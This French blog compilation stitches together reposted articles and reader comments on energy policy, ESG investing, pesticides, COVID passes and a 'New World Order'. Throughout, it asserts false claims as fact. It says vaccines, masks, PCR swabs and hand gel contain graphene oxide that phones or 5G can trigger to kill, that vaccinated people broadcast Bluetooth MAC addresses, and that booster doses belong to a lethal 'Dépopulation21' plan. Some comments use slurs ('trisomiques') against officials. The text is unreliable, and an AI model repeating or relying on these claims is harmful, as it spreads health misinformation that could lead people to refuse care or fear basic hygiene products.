Une cause aggravante fondamentale des récentes pénuries de charbon, de gaz et de pétrole en abondance est la décision de BlackRock et d'autres fiducies monétaires mondiales de forcer les investissements à s'éloigner du pétrole, du gaz ou du charbon - toutes des sources d'énergie parfaitement sûres et nécessaires - pour accumuler des solaire ou éolien peu fiable. Ils appellent cela l'investissement ESG. C'est la dernière rage à Wall Street et sur d'autres marchés financiers mondiaux depuis que le PDG de BlackRock, Larry Fink, a rejoint le conseil d'administration du Forum économique mondial Klaus Schwab en 2019. Ils ont créé des sociétés de certification ESG qui attribuent des notations ESG « politiquement correctes » aux sociétés par actions. , et punir ceux qui ne s'y conforment pas. La ruée vers les investissements ESG a rapporté des milliards à Wall Street et à ses amis. Il a également freiné le développement futur du pétrole, du charbon ou du gaz naturel pour la plupart des pays du monde.
La « maladie allemande »
Aujourd'hui, après 20 ans d'investissements insensés dans le solaire et l'éolien, l'Allemagne, autrefois le fleuron de l'industrie européenne, est victime de ce que nous pouvons appeler la maladie allemande. Comme le syndrome hollandais économique, l'investissement forcé dans l'énergie verte a entraîné le manque d'énergie fiable et abordable. Tout cela pour une affirmation non prouvée de 1,5 C de l'IPCC qui est censée mettre fin à notre civilisation d'ici 2050 si nous ne parvenons pas à atteindre le zéro carbone.
Pour faire avancer ce programme d'énergie verte de l'UE, pays après pays, à quelques exceptions près, ont commencé à démanteler le pétrole, le gaz et le charbon et même le nucléaire. Les dernières centrales nucléaires allemandes fermeront définitivement l'année prochaine. De nouvelles centrales au charbon, équipées de laveurs à la pointe de la technologie, sont mises au rebut avant même d'être démarrées.
Le cas allemand devient encore plus absurde.
En 2011, le gouvernement Merkel a adopté un modèle énergétique développé par Martin Faulstich et le Conseil consultatif de l'État sur l'environnement (SRU) qui affirmaient que l'Allemagne pourrait atteindre une production d'électricité 100 % renouvelable d'ici 2050. Ils ont fait valoir qu'il ne serait pas nécessaire d'utiliser le nucléaire plus longtemps, ni la construction de centrales au charbon avec captage et stockage du carbone (CSC). Avec cela, la catastrophique Energiewende de Merkel est née. L'étude a fait valoir que cela fonctionnerait parce que l'Allemagne pourrait passer un contrat pour acheter de l'énergie hydroélectrique excédentaire sans gaz carbonique à la Norvège et à la Suède.
Maintenant, avec une sécheresse extrême et un été chaud, les réserves hydroélectriques de la Suède et de la Norvège sont dangereusement basses à l'approche de l'hiver, à seulement 52% de leur capacité. Cela signifie que les câbles électriques vers le Danemark, l'Allemagne et maintenant le Royaume-Uni sont en danger. Et pour ne rien arranger, la Suède est divisée sur la fermeture de ses propres centrales nucléaires qui lui fournissent 40 % de l'électricité. Et la France discute de la réduction d'un tiers de ses centrales nucléaires claires, ce qui signifie que la source de l'Allemagne ne sera pas non plus sûre.
Déjà le 1er janvier 2021 en raison d'une élimination progressive du charbon mandatée par le gouvernement allemand, 11 centrales électriques au charbon d'une capacité totale de 4,7 GW ont été fermées. Il n'a duré que 8 jours lorsque plusieurs des centrales au charbon ont dû être reconnectées au réseau en raison d'une période prolongée de faible vent. En 2022, la dernière centrale nucléaire allemande fermera et d'autres centrales au charbon fermeront définitivement, le tout pour le nirvana vert. En 2002, l'énergie nucléaire allemande était la source de 31% de l'énergie électrique sans carbone.
Quant à l'éolien venant combler le déficit en Allemagne, en 2022, quelque 6000 éoliennes d'une puissance installée de 16 GW seront démantelées en raison de l'expiration des subventions de rachat des anciennes éoliennes. Le taux d'approbation de nouveaux parcs éoliens est bloqué par la rébellion croissante des citoyens et les contestations judiciaires contre la pollution sonore et d'autres facteurs. Une catastrophe évitable se prépare.
La réponse de la Commission européenne à Bruxelles, plutôt que d'admettre les failles flagrantes de son programme d'énergie verte, a été de doubler le propos comme si le problème était le gaz naturel et le charbon. Le tsar européen du climat Frans Timmermans a déclaré de manière absurde : « Si nous avions eu l'accord vert cinq ans plus tôt, nous ne serions pas dans cette position car nous serions alors moins dépendants des combustibles fossiles et du gaz naturel.
Si l'UE poursuit ce programme suicidaire, elle se retrouvera dans quelques années à peine dans une friche désindustrialisée. Le problème n'est pas le gaz, le charbon ou le nucléaire. C'est l'énergie verte inefficace du solaire et de l'éolien qui ne pourra jamais offrir une énergie stable et fiable.
Le programme pour l'énergie verte de l'UE, des États-Unis et d'autres gouvernements, ainsi que les investissements ESG promus par Davos garantiront seulement qu'à mesure que nous avancerons, il y aura encore moins de gaz, de charbon ou de nucléaire sur lesquels se rabattre lorsque le vent s'arrêtera, il y aura un sécheresse dans les barrages hydroélectriques ou manque d'ensoleillement.
Pas besoin d'être un spécialiste des fusées pour se rendre compte que c'est une voie vers la destruction économique. Mais c'est en fait l'objectif de l'énergie « durable » de l'ONU 2030 ou de la Grande réinitialisation de Davos : réduire la population à grande échelle. Nous, les humains, sommes les grenouilles que l'on fait lentement bouillir. Et maintenant, les pouvoirs en place font vraiment monter la température.
The original source of this article is Global Research.
L'attentat de Davos est remis à plus tard. Les trisomiques au pouvoir ne seront pas supprimés ! Après s'être fait piquer en direct à la télé avec du sérum phy (eau salée), les ordures qui dirigent continuent d'appliquer le plan 'Dépopulation21' avec une 4ème dose létale, 5ème, 6ème si nécessaire ! Jusqu'au dernier vivant sur Terre !
L’humain destiné à produire de l’électricité. Le concept transhumaniste se clarifie.
DÉCEMBRE 21, 2021 PAR LHK
(...) Et voilà qu’en avril 2021, Swissinfo a présenté une startup suisse cette fois qui ose le projet (à prendre très au sérieux) de transformer le corps humain en central électrique. Et le référent pour symboliser le bénéfice est la consommation électrique d’une télévision. Comme si le divertissement continuera de faire partie du nouveau paradigme sociétal.
«Chaque jour, un adulte libère en moyenne trois kilowattheures d’énergie, une quantité qui pourrait faire fonctionner une télévision LCD pendant 30 heures.» Franco Membrini, Mithras https://www.swissinfo.ch/fre/quand-le-corps-humain-devient-une-centrale-%C3%A9lectrique/46539074
Ainsi vous commencez à mieux comprendre pourquoi vous devez poser des panneaux solaires dont la fabrication n’a absolument rien d’écologique. En revanche, le jour où les humanoïdes produiront l’électricité, il faudra bien la transmettre vers une centrale qui à son tour l’utilisera pour maintenir la machine informationnelle, ses blockchains et autres accessoires cryptos.
Le promoteur de la Tour de Babel était un petit joueur à côté de la machinerie qui se met en place.
Et ami lecteur, l’importance de la présence de l’oxyde de graphène que l’on retrouve abondamment dans les revues scientifiques en tant que composant de « vaccins » devient clairement indispensable à ce projet écolo.
Reste plus qu’à officialiser la présence de ce superconducteur électrique ET électronique dans les fioles de « vaccins », ce qui n’est pas dans les plans de nos autorités sanitaires. Il suffirait de mandater n’importe quel laboratoire indépendant avec la mission non de détecter des ARN, mais des nanoparticules de graphènes (y compris des dots quantiques). C’est facile et rapide. Et là on verra bien si les analyses au microscope (sang de vaccinés et fiole) sont confirmées.
A propos de vaccins, aux dernières nouvelles:
… mais dans le même papier de Reuters tout de même, on nous rapporte les propos de la présidente de la Commission européenne qui dit que le certificat vaccinal ne dépassera pas les 3 mois.
La présidente de la Commission, Ursula von der Leyen, a déclaré vendredi qu’elle avait déclaré aux dirigeants européens réunis pour un sommet à Bruxelles que l’exécutif européen présenterait un acte délégué sur les laissez-passer COVID. « Nous assurerons une approche commune sur les rappels et la durée de validité du certificat. Ainsi, les rappels sont recommandés au plus tard six mois après la vaccination complète, et le certificat restera valable pendant une période de grâce de trois mois au-delà. »
Merci à Nicolas Bonnal qui m’a transmis l’article de Swissinfo.
Note : Je vous laisse chercher dans le site les articles sur le Transhumanisme, NBIC, Graphène, Nanotechnologie. Vous en trouverez beaucoup. Ça peut aider à comprendre cette approche hautement complexe qui vise la transformation de l’humain en humanoïde
Population mondiale (en bleu) et production mondiale de céréales (en rouge) de 1960 à 2018 avec projections jusqu'à 2050.
- voir graph sur site -
L'augmentation de la population mondiale a une influence sur de nombreux facteurs que j'aimerais aborder en plusieurs parties. Je commencerai par l'alimentation.
Dans le graphique, la population mondiale (en milliards) et la production céréalière (en milliards de tonnes) sont représentées ensemble. En 1960, une population d'environ 3 milliards de personnes disposait d'environ 0,9 milliard de tonnes de céréales (maïs et riz compris), ce qui correspond à une quantité d'environ 0,29 tonne par citoyen du monde.
En 2018, les quelque 7,6 milliards d'habitants disposaient d'une récolte de près de 2,96 milliards de tonnes, ce qui correspond à une quantité de 0,39 t par citoyen de la planète. Si l'on continue à calculer avec les chiffres de 2018 et que l'on adopte un modèle de croissance moyen pour la population mondiale, celle-ci devrait atteindre 9,08 milliards d'habitants en 2050. Pour que cette population reçoive la même quantité de céréales par habitant, il faudra 3,5 milliards de tonnes de céréales. Cela représente 500 millions de tonnes de plus qu'en 2018, et ce en seulement 30 ans. Mais même en 2030, environ 250 millions de tonnes supplémentaires seront nécessaires pour nourrir les 8,2 millions d'habitants.
Les chiffres calculés ici sont des extrapolations des 60 dernières années. Rien ne permet aujourd'hui d'affirmer que l'évolution sera sensiblement différente. Étant donné que l'augmentation de la population mondiale nécessite davantage de logements et d'autres infrastructures et que, dans le même temps, il faut éviter autant que possible d'ouvrir de nouvelles surfaces cultivables, une intensification au moins du même ordre de grandeur que celle des dernières décennies est nécessaire sur la surface cultivable qui se réduit.
La politique actuelle de l'UE – de la ferme à la table, Pacte Vert (Farm to Fork, Green Deal) – entraînerait une baisse de la production (entre autres 25 % de bio, moins 50 % de phytosanitaires). Cela a un impact négatif sur les quantités disponibles et entraînera par la suite une hausse significative des prix des denrées alimentaires.
Un changement des habitudes alimentaires, en abandonnant la viande au profit d'une alimentation plus végétale, permettrait de changer la donne. Mais seulement si cela était réalisé à l'échelle mondiale et en peu de temps. L'UE, avec ses quelque 450 millions d'habitants, ne joue qu'un rôle secondaire dans ce contexte.
(...) il faut éviter autant que possible d'ouvrir de nouvelles surfaces cultivables (...)
Politique nazie ! alors qu'il y a DES millions d'hectares inoccupés, en friche ou en forêts inutiles !
A savoir Qu'est-ce que l'alimentation ? L'alimentation est de prendre sur terre ou dans la terre de quoi se nourrir et de redéposer 100 % de la nourriture consommée ! Notre planète peut produire x milliards de tonnes de ci ou de çà elle ne pèsera pas un gramme de plus ou de moins !
Willi Bauer ne sait pas de quoi il parle et se fout de la gueule des gens !
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(...) • En 1975, un hectare nourrissait dans le monde 3 personnes, demain en 2020 ce même hectare devra nourrir 8 personnes. • En 1960, il fallait environ 8 heures de SMIC pour se payer un kg de viande (jambon ou steak), en 1990, il en fallait moins de deux. De la même manière le beurre, les pâtes ou le pain ont vu leur prix d'achat divisé par un facteur de 5 à 10. Cela a permis de faire passer le coût de l'alimentation dans les ménages de 35% en 1970 à moins de 14% actuellement. Dans le même temps la part des dépenses de services et de loisirs est passée de 34% à plus de 50%.
GLOBALEMENT AUJOURD'HUI, UN AGRICULTEUR FRANÇAIS NOURRIT 60 PERSONNES ALORS QU'EN 1960, IL NOURRISSAIT 15 PERSONNES POUR DEUX FOIS PLUS CHER.
Une enquête choquante révèle que les 5 plus grandes entreprises de pesticides au monde utilisent des pesticides hautement dangereux (HHP) et concentrent ces produits dans les pays en développement
Lundi 20 décembre 2021 par : Mary Villareal
(Natural News) Une analyse des données a révélé que les habitants des pays en développement sont plus susceptibles de souffrir d'une exposition à des pesticides classés comme hautement dangereux pour la santé humaine et l'environnement. Cette analyse a également montré que les cinq principaux fabricants de pesticides au monde gagnent des milliards avec ces mêmes produits chimiques.
Les mêmes pesticides contribuent également à la disparition des populations d'abeilles, qui sont nécessaires pour maintenir les sources de nourriture.
Les ventes de pesticides des grandes sociétés pharmaceutiques « très dangereuses » Les chercheurs ont découvert que la vente de pesticides hautement dangereux (HHP) se produit de manière disproportionnée dans les pays en développement. Ceux-ci ont tendance à avoir moins de réglementations que les pays industrialisés. Par exemple, les ventes de HHP atteignent 11 % au Royaume-Uni, mais en Inde, elles représentent près de 60 % des ventes de pesticides.
Ce rapport d'une équipe d'enquête s'est concentré sur les pratiques d'entreprises telles que Bayer, BASF, Corteva, FMC et Syngenta. Toutes ces entreprises continuent de vendre des HHP tels que les néonicotinoïdes et le glufosinate, des produits chimiques qui ont été interdits dans certaines parties du monde.
Les principaux analystes agro-industriels de Phillips McDougall se sont penchés sur les données d'enquêtes auprès des acheteurs, en se concentrant sur les meilleurs vendeurs dans les 43 principaux pays acheteurs de pesticides. Les données ont montré que si la réglementation arrêtait la vente de certains pesticides en Europe, aux États-Unis et au Canada, elle ne ralentissait guère les entreprises chimiques, qui vendaient encore pour 4,7 milliards de dollars de produits en 2018.
Bayer a qualifié l'analyse de trompeuse mais n'a fourni aucune preuve pour rejeter l'évaluation. Cependant, un porte-parole de Bayer a déclaré que l'agriculture est très différente d'une région à l'autre en raison de divers facteurs tels que les climats, les parasites et les cultures.
Brighteon.TV Parce que l'enquête s'est concentrée uniquement sur les ventes de 43 pays, elle a couvert moins de la moitié des ventes mondiales de ces entreprises, ce qui suggère qu'elles ont en fait gagné des milliards de plus à partir de pesticides que les agences de réglementation jugeaient dangereux.
Les marchés les plus importants pour les HHP étaient les corps de maïs et de soja, et environ un quart des ventes de ces produits étaient connus pour être des cancérogènes humains pouvant présenter un danger pour la santé reproductive. Un autre 10 pour cent étaient toxiques pour les abeilles et quatre pour cent supplémentaires des produits chimiques sont extrêmement toxiques pour les humains. Chaque année, il y a environ 200 000 suicides liés à des empoisonnements aux pesticides, dont la plupart surviennent dans les pays en développement.
Meriel Watts, conseillère scientifique et politique principale au Pesticide Action Network, a déclaré : « Cette enquête montre qu'il existe un énorme décalage entre ce que ces entreprises disent dans l'arène politique internationale et ce qu'elles font réellement.
Baskut Tuncak, le rapporteur spécial des Nations Unies sur les substances dangereuses et les droits de l'homme, a déclaré une affirmation similaire à celle de Watts, affirmant qu'« il est inapproprié pour les entreprises de tirer des revenus aussi importants des HHP de nos jours. L'utilisation continue de ces produits n'est pas durable et est à l'origine d'une multitude de violations des droits humains dans le monde.
Alternatives naturelles aux pesticides L'exposition régulière aux pesticides et aux insecticides est toxique et a été associée à des maladies graves, allant des troubles respiratoires aux problèmes cardiovasculaires. Cependant, il existe des alternatives naturelles, dont certaines sont facilement disponibles dans la cuisine, pour éloigner les insectes et les parasites.
Brouillard salin - Cela aide à dissuader les parasites et à augmenter l'absorption nutritionnelle de vos plantes, comme le magnésium, le phosphore et le soufre. Ajoutez simplement du sel à l'eau et remuez bien la solution. Vaporisez-le régulièrement sur vos plantes pour éloigner les parasites.
Spray à l'oignon et à l'ail — Prenez une gousse d'ail et un oignon de taille moyenne et ajoutez-y de l'eau. Laissez-les reposer dans l'eau pendant un moment et ajoutez une cuillère à café de poivre de Cayenne et une pincée de savon liquide au mélange. Vaporisez-le régulièrement sur vos plantes pour vous assurer qu'il n'y aura pas d'infestation de vos produits.
Thé aux fleurs de chrysanthème — Les fleurs de chrysanthème contiennent un puissant composé chimique végétal appelé pyrèthre, et on pense qu'il endommage le système nerveux des insectes et des parasites. Faites simplement bouillir des fleurs séchées dans une casserole remplie d'eau pendant environ 20 minutes, filtrez, laissez refroidir et ajoutez-les à votre flacon pulvérisateur pour les utiliser régulièrement pour les plantes. Celui-ci peut être conservé jusqu'à deux mois.
Avec ces alternatives, vous pouvez éloigner les parasites de votre jardin sans absorber vous-même les poisons.
En savoir plus sur le fait de garder les choses organiques et non toxiques sur Natural.news.
Un responsable australien de la santé devient le dernier occidental à faire référence au « nouvel ordre mondial » – c'est VRAI, et c'est ici
Lundi 20 décembre 2021 par : JD Heyes
(Natural News) Les autoritaires qui dirigent l'Australie ont vraiment révélé la vraie nature de leurs convictions politiques à l'ère de COVID, et ce n'est pas joli - mais la très mauvaise nouvelle est qu'ils ne sont en fait pas différents des gauchistes tyranniques de tout l'Occident, y compris « Démocrates » aux États-Unis.
L'Australie était déjà bien connue pour être revenue d'une démocratie fonctionnelle à la colonie pénitentiaire qu'elle avait fondée il y a des siècles par l'Empire britannique, les dirigeants australiens ayant exploité chaque once de la pandémie pour exercer des pouvoirs dictatoriaux sous le faux prétexte de garder les citoyens 'en sécurité.'
Mais dans de récents commentaires publics, un responsable australien de la santé a laissé échapper que le «Nouvel Ordre Mondial» des années 1990 à l'époque aux États-Unis. Le président George H. W. Bush a parlé à la suite de la première guerre du Golfe n'est pas un concept qui a disparu. Au contraire, comme nous le voyons, il est bien vivant et progresse quotidiennement alors que le virus continue d'être exploité.
Ces derniers jours, les autorités sanitaires australiennes ont modifié leurs normes COVID inhabituellement strictes pour assouplir certains des mandats sur les blocages. Mais la Première ministre de l'État de Nouvelle-Galles du Sud, Gladys Berejiklian, a averti que lors de la réouverture, il y aurait forcément de nouveaux cas de virus, ce qui, bien sûr, nécessitera de nouveaux verrouillages et restrictions.
Et puis elle a largué cette bombe : le pays – l'un des rares sur la planète qui exige que les citoyens fournissent une bonne raison pour laquelle ils veulent partir, au cas où vous ne le sauriez pas – a prévu de suivre les gens aussi dans le « » Nouvel ordre mondial."
Brighteon.TV "Nous examinerons à quoi ressemble la recherche des contacts dans le nouvel ordre mondial", a-t-elle déclaré, laissant tomber les mâchoires dans le monde entier.
Le ministre de la Santé de la Nouvelle-Galles du Sud, Brad Hazzard, a également utilisé l'expression récemment et à plusieurs reprises.
« Il s’agit d’une pandémie mondiale, c’est un événement sur 100 ans, vous pouvez donc vous attendre à ce que nous ayons une transmission de temps en temps, et c’est comme ça. Nous devons accepter qu'il s'agit du nouvel ordre mondial », a-t-il également déclaré.
Mais comme leurs homologues propagandistes américains, les médias australiens étaient là pour insister sur le fait qu'il n'y a pas de théorie du complot ici – tout va bien, comme l'a rapporté l'ABC :
Un certain nombre de TikToks actuellement viraux utilisent une capture du ministre de la Santé de la Nouvelle-Galles du Sud, Brad Hazzard, décrivant la pandémie comme le «nouvel ordre mondial» lors d'une conférence de presse en juillet.
Le Nouvel Ordre Mondial est une théorie du complot sans fondement qui dit qu'un gouvernement totalitaire émerge secrètement. Hack ne suggère pas que M. Hazzard faisait la promotion du complot lorsqu'il a utilisé ces mots.
Remarquez que ce ne sont pas des conspirations « sans fondement » parce que les mots ont un sens, et si ces responsables, avec George H. W. Bush au début des années 1990, avaient signifié autre chose qu'un « nouvel ordre mondial », ils auraient utilisé des mots différents.
Donc, si « nouvel ordre mondial » ne signifie pas ce qu'il implique, qu'est-ce que cela signifie ? Et pourquoi est-il encore utilisé ?
Nous savons pourquoi ; parce que ce n'est pas une conspiration et qu'il y a vraiment des gens en Occident (et certains en Asie) qui ont été occupés à se partager les ressources du monde et à les utiliser pour supprimer la grande majorité des « masses non lavées ». courant dans les pays communistes, marxistes et socialistes, mais un tel autoritarisme s'est maintenant répandu dans des « démocraties » comme celles d'Australie et d'Europe, et même dans notre république constitutionnelle, sous le couvert de « protéger les gens du COVID ».
Les changements qui ont été apportés aux sociétés à la demande des dirigeants qui cherchent à "combattre" le virus vont être permanents dans la mesure où les populations de nations autrefois libres permettent à ces changements d'être permanents.
C'est vraiment l'objet du « nouvel ordre mondial » : donner davantage de pouvoir à ceux qui détiennent déjà l'essentiel du pouvoir.
Expérience reproduite avec un samsung et 2 applications différentes :
RépondreSupprimer"Bluetooth Finder and scanner"
"BLE Scanner"
Des adresses MAC sous le format XX:XX:XX:XX:XX:XX apparaissent.
Pour tester si l'adresse MAC est référencée auprès de l'IEEE, ce site fonctionne :
https://www.courbis.fr/Recherche-du-constructeur-pour-une.html
Il suffit de copier les 6 premiers caractères de l'adresse MAC et lancer la recherche.
La plupart n'identifie aucun constructeur de carte réseau.
Attention, certaines adresses de périphériques type "montre connectée" n'identifie aucun constructeur de carte réseau également.
Qu'est-ce que Bluetooth et Bluetooth Basse Consommation :
https://fr.wikipedia.org/wiki/Bluetooth
https://fr.wikipedia.org/wiki/Bluetooth_%C3%A0_basse_consommation
Qu'est-ce qu'une adresse MAC ?
https://fr.wikipedia.org/wiki/Adresse_MAC
Qu'est-ce que l'IEEE ?
https://fr.wikipedia.org/wiki/Institute_of_Electrical_and_Electronics_Engineers
Partagez librement le contenu de cette chaîne.
Pour vous éveiller et éveiller autour de vous.
Remerciements à tous les alerteurs, créateurs, compileurs et bonnes énergies.
Rassurez-vous, vous n'êtes pas seul, nous sommes des millions.
Votre corps est une machine précieuse et formidable, soyez fort.
Amour et bonnes ondes <3
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http://xochipelli.fr/2021/11/nouvelles-des-brigades-anti-graphene-novembre-2021/
https://www.drrobertyoung.com/post/transmission-electron-microscopy-reveals-graphene-oxide-in-cov-19-vaccines
https://dougbillings.us/video/dougs-continuing-investigative-interview-with-karen-kingston-7-26-2021/
https://lilianeheldkhawam.com/2021/07/05/le-graphene-outil-de-surveillance-de-la-sante-se-trouve-dans-les-masques-ecouvillons-et-les-vaccins-consequences-sur-la-sante-humaine-potentiellement-desastreuses/
https://lilianeheldkhawam.com/2021/07/08/complements-dinfos-sur-les-vaccins-a-base-de-graphene-la-conductivite-electronique-et-les-telecommunications-a-vous-de-voir/
Les n° apparaissent à l'écran alors qu'il y a plusieurs doses par flacon: Réponse: Le n° est associé à votre n° de tel portable sur vous = donc: identité unique.
RépondreSupprimerSachez que les nano-particules d'oxyde de graphène (poison mortel violent) peuvent se décapsuler par réception d'un signal envoyé à votre portable ou, demain sans tel. direct avec la 5G !
Les masques en sont TOUS imprégnés (passez-les à l'aspirateur recto-verso avant de les mettre et: surtout: poser votre aspirateur avec le cul DEHORS (fenêtre ou porte) parce que si vous faites çà chez vous ils s’envolent et les respirerez) !
Les écouvillons des FAUX tests PCR en contiennent et les déposent en cavité nasale !
Les gels hydralcoolique en contiennent et pénètrent dans l'épiderme !
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En 2006 nous étions déjà capable de produire ce type de micropuce :
https://www.futura-sciences.com/sciences/actualites/recherche-puce-plus-petite-monde-8212/
En 2021, par IBM, 2 nanomètres pour une puce :
https://www.businessinsider.fr/ibm-annonce-avoir-developpe-une-puce-de-2-nanometres-la-plus-petite-au-monde-187449
Comprenez le fonctionnement des nanoparticules de graphène avec une conférencière du CNRS en moins de 5 minutes :
https://odysee.com/@cQfd:7/cnrs_graphene_mai_2016:7
Regardez ce Brevet déposé par ... Microsoft ! SYSTÈME DE CRYPTOMONNAIE UTILISANT DES DONNÉES D'ACTIVITÉ CORPORELLE" :
https://patentscope.wipo.int/search/fr/detail.jsf?docId=WO2020060606
Numéro de publication : WO/2020/060606
Date du dépôt international : 20.06.2019
Date de publication : 26.03.2020
N° de la demande internationale : PCT/US2019/038084
Déposants : MICROSOFT TECHNOLOGY LICENSING, LLC
Connaissez-vous les "smartdust" ?
https://fr.wikipedia.org/wiki/Poussi%C3%A8re_intelligente
Important : Se rappeler que tout courant électrique produit un champ magnétique induit, et inversement, que tout champ magnétique produit un courant électrique induit.
RépondreSupprimerD'abord,
Le "graphène" est un excellent conducteur.
Le "graphène" est aussi un excellent ferrofluide, donc très sensible aux ondes électro-magnétiques. (=phénomène d'aimantation par exemple)
Les individus sont porteurs d'une adresse MAC, c-a-d, une adresse unique d'identification comme tout périphérique connectable (box wifi, carte réseau d'ordinateur, téléphone portable...)
Il est donc tout à fait possible "d'adresser/pirater" une information, onde ou impulsion au champ électro-magnétique d'un individu, à distance en émettant sur la bande de fréquence que l'individu est prêt à recevoir.
L'information, onde ou impulsion peut très bien être diffusée de manière élargie, mais à destination que d'un récepteur (= comme votre box wifi et celle du voisin que vous captez, mais à laquelle vous ne pouvez pas vous connecter ... en théorie).
Aussi,
Pensez à la manière dont fonctionne un auto-radio (flux descendant = entrant).
Pensez à la manière dont fonctionne un talkie-walkie, la Cibi, les téléphones portables, les box wifi (flux ascendant et descendant = entrant et sortant)
Enfin,
Concernant les 100+ footballeurs de la FIFA décédés récemment, il est probable qu'ils aient fait des crises cardiaques ou AVC liés aux tromboses et caillots sanguins présents dans le sang suite à l'injection.
Le graphène (oxyde/hydroxyde) provoque, dans certains cas, à certains doses, un agglutinement des globules rouges sous forme de "rouleaux de pièces de monnaie" (=rangés comme des Pim's chocolat-orange), l'activité physique accélère la circulation sanguine et amplifie le problème présent.
En outre,
Il n'est pas à exclure la possibilité de grands méchants appuyant sur un bouton, ciblant et "désactivant" certaines personnes.
C'est techniquement possible.
TOUT CE QUI N'EST PAS INTERDIT EST OBLIGATOIRE !
RépondreSupprimerpar SOPHIE DE MENTHON
20/12/2021
90,9% des Français de plus de 12 ans ont un schéma de vaccination complet au 20 décembre 2021.
Décidément, la méfiance du gouvernement à l’égard des entreprises continue de régner.
Dernier exemple : la confirmation hier par le ministre de la santé que la question du pass sanitaire en entreprise est désormais sur la table.
"C’est une contrainte de plus que nous assumons ! » : a dit Olivier Véran.
Et les entreprises, sont-elles prêtes à assumer ces contraintes supplémentaires ? Cela aurait quand même été le minimum de les interroger et de les associer avant cette nouvelle annonce.
ETHIC rappelle que personne plus que le chef d’entreprise ne souhaite la protection des salariés face au virus.
De même, les entreprises, quelle que soit leur taille, ont toujours scrupuleusement respecté la législation mise en place depuis le début de l’épidémie.
Malheureusement, interdictions et obligations se succèdent dans un climat de méfiance, sans concertation avec les acteurs du terrain. De plus, l’incohérence des décisions, qui aboutit à des contradictions successives, est incompréhensible.
Les entreprises ont été notamment confrontées à l'interdiction d'acheter des masques pour leurs, de prendre leur température, d'organiser des tests antigéniques dans leurs locaux. Malgré ces interdits successifs, ce sont elles aujourd'hui qui aident leurs salariés à obtenir la 3ème dose de vaccin. Les chefs d'entreprise font tous les jours preuve de leur sens des responsabilités. Le Ministère du Travail réussirait bien à s'en inspirer et pourrait même suivre des étapes de formation en management… de la part des entrepreneurs !
Le mouvement patronal n’est pas opposé, sous certaines conditions, à l’instauration en France de cette mesure, déjà mise en place en Italie ou en Allemagne. Pour ETHIC, la priorité est la sécurité sanitaire des salariés même si la mise en oeuvre opérationnelle du pass sanitaire en entreprise compliquerait leur activité.
http://www.economiematin.fr/news-obligation-entreprise-covid-legislation-interdiction-protocole-menthon
Objectif ('Plan Dépopulation21'): TOUS MORTS !
SupprimerFaut en piquer plus de 7 milliards !!! (coup de pouce 5G 'Paf' t'es mort !)
Mais il existe heureusement des personnes intelligentes qui refusent de se faire inoculer !!!
L’esprit critique est devenu criminel !
RépondreSupprimerPar Jean-Yves Jézéquel
Mondialisation.ca, 19 décembre 2021
Tout esprit critique est devenu criminel ! Valérie Pécresse ne reconnaît pas, à ses concitoyens, le droit de penser et de disposer librement de leur corps ! Elle a déclaré que devenue présidente, « elle réactualiserait le confinement, mais uniquement pour les non-vaccinés » ! Cette violence arbitraire ne lui pose aucun problème !
Les États « profonds » ont toujours été les pires criminels de l’histoire, les authentiques terroristes, la seule réelle menace pour l’humanité et ne peuvent pas être différenciés de la perversion : l’Etat profond est pervers par nature, criminel par essence, le Mal en substance. Il n’a qu’une seule obsession : conserver à tout prix le pouvoir et être le seul dominant exerçant sa tyrannie sur les dominés. Il n’a jamais aucune légitimité et passe son temps à détruire l’Etat Nation, car sa raison d’être est la négation de toute liberté, égalité, fraternité, autrement dit de toute idée démocratique en répétant sans cesse son « idéal démocratique » grâce à une confusion habilement entretenue entre les « libertés publiques », d’ailleurs largement défuntes, et l’idée de « démocratie »…
Les « pouvoirs » incarnant les « Etats profonds » ont toujours été les organisateurs des guerres, des massacres, de l’esclavage, des apartheids, des « purges ». Les « pouvoirs des Etats profonds » ont toujours organisé la « légalité » du crime contre l’humanité, accolant la même étiquette aux mensonges, à la manipulation, à la tromperie, en les faisant passer pour la vertu, la vérité, la légitimité, la moralité !
Ce qui est déclaré « légal » peut parfaitement être immoral. Le délire covidiste actuel des « Etats profonds » et de leurs serviteurs dévoués, est l’expression d’une volonté criminelle sidérante, car elle imagine son harcèlement de l’être humain bien au-delà de ce qui est tolérable. Les limites ont très largement été dépassées.
Les Etats profonds n’osent pas ouvertement dire qu’ils prétendent imposer leur volonté en violant l’irréductibilité des corps eux-mêmes, en voulant leur imposer des injections expérimentales sans rien savoir de leur contenu, car une telle déclaration faite ouvertement signifierait se mettre à découvert sur leurs intentions qui se trouvent à des années lumières de la cause sanitaire ! C’est pourquoi, tout être conscient et responsable doit combattre par tous les moyens ces Etats pervers, il a le devoir moral de la désobéissance et de la résistance…
Aujourd’hui, des politiques comme Macron, Véran, Castex, travaillent d’arrache-pied contre les intérêts véritables du peuple Français ; ils font partie d’une caste sectaire au service d’un pouvoir supra national, mondialiste, le complexe digital-financier. Auprès de ces gens-là, s’ajoutent dans le désordre les Sarkozy (qui trouve le moyen de la ramener alors qu’il aurait été décent de se faire discret après tant de casseroles attachées à sa pitoyable existence), les Karine Lacombe, Valérie Pécresse, Ursula Von der Leyen, Michel Cimes, Bruno Mégarbane, Pr François Raffi, Pr Jacques Rey, Gérald Bronner, Guy Vallancien, et la cohorte des serviteurs dévoués à la cause supérieure du transhumanisme et du « Great Reset », les Albert Bourla, le PDG de Pfizer Inc., qui déclarait que « les personnes qui propagent de fausses informations sur les vaccins anti-covid 19 sont criminelles… parce qu’elles ont causé des millions de morts !!! »
RépondreSupprimerPourquoi tous ces gens bien « intentionnés », bienfaiteurs de l’humanité, détenteurs de la vérité, soucieux de notre bonheur et de notre existence paisible sur cette Terre, veulent-ils nous forcer la main, nous contraindre, nous enfermer, nous étrangler en nous privant de tout, en nous accusant de telles abominations dont ils sont justement responsables, au lieu de nous convaincre d’adopter une vérité vertueuse qui démontre toute seule le bien-fondé de sa nature bienfaitrice ?!
Il va de soi que pour tous ces gens-là, « je suis responsable de millions de morts », puisque je refuse de me faire « vacciner » !
Pourquoi imposer des restrictions, des contrôles, des sanctions, des censures, des confinements, des couvre-feux, des masques dont chacun devrait déjà savoir qu’ils sont inutiles, voire nuisibles dans le contexte où il est obligatoire de les porter, des interdits de toutes sortes, des humiliations, des contradictions, des incohérences, des violences faites au bon sens, une falsification évidente de tous les chiffres officiels et une complaisance dans la politique de la peur ?
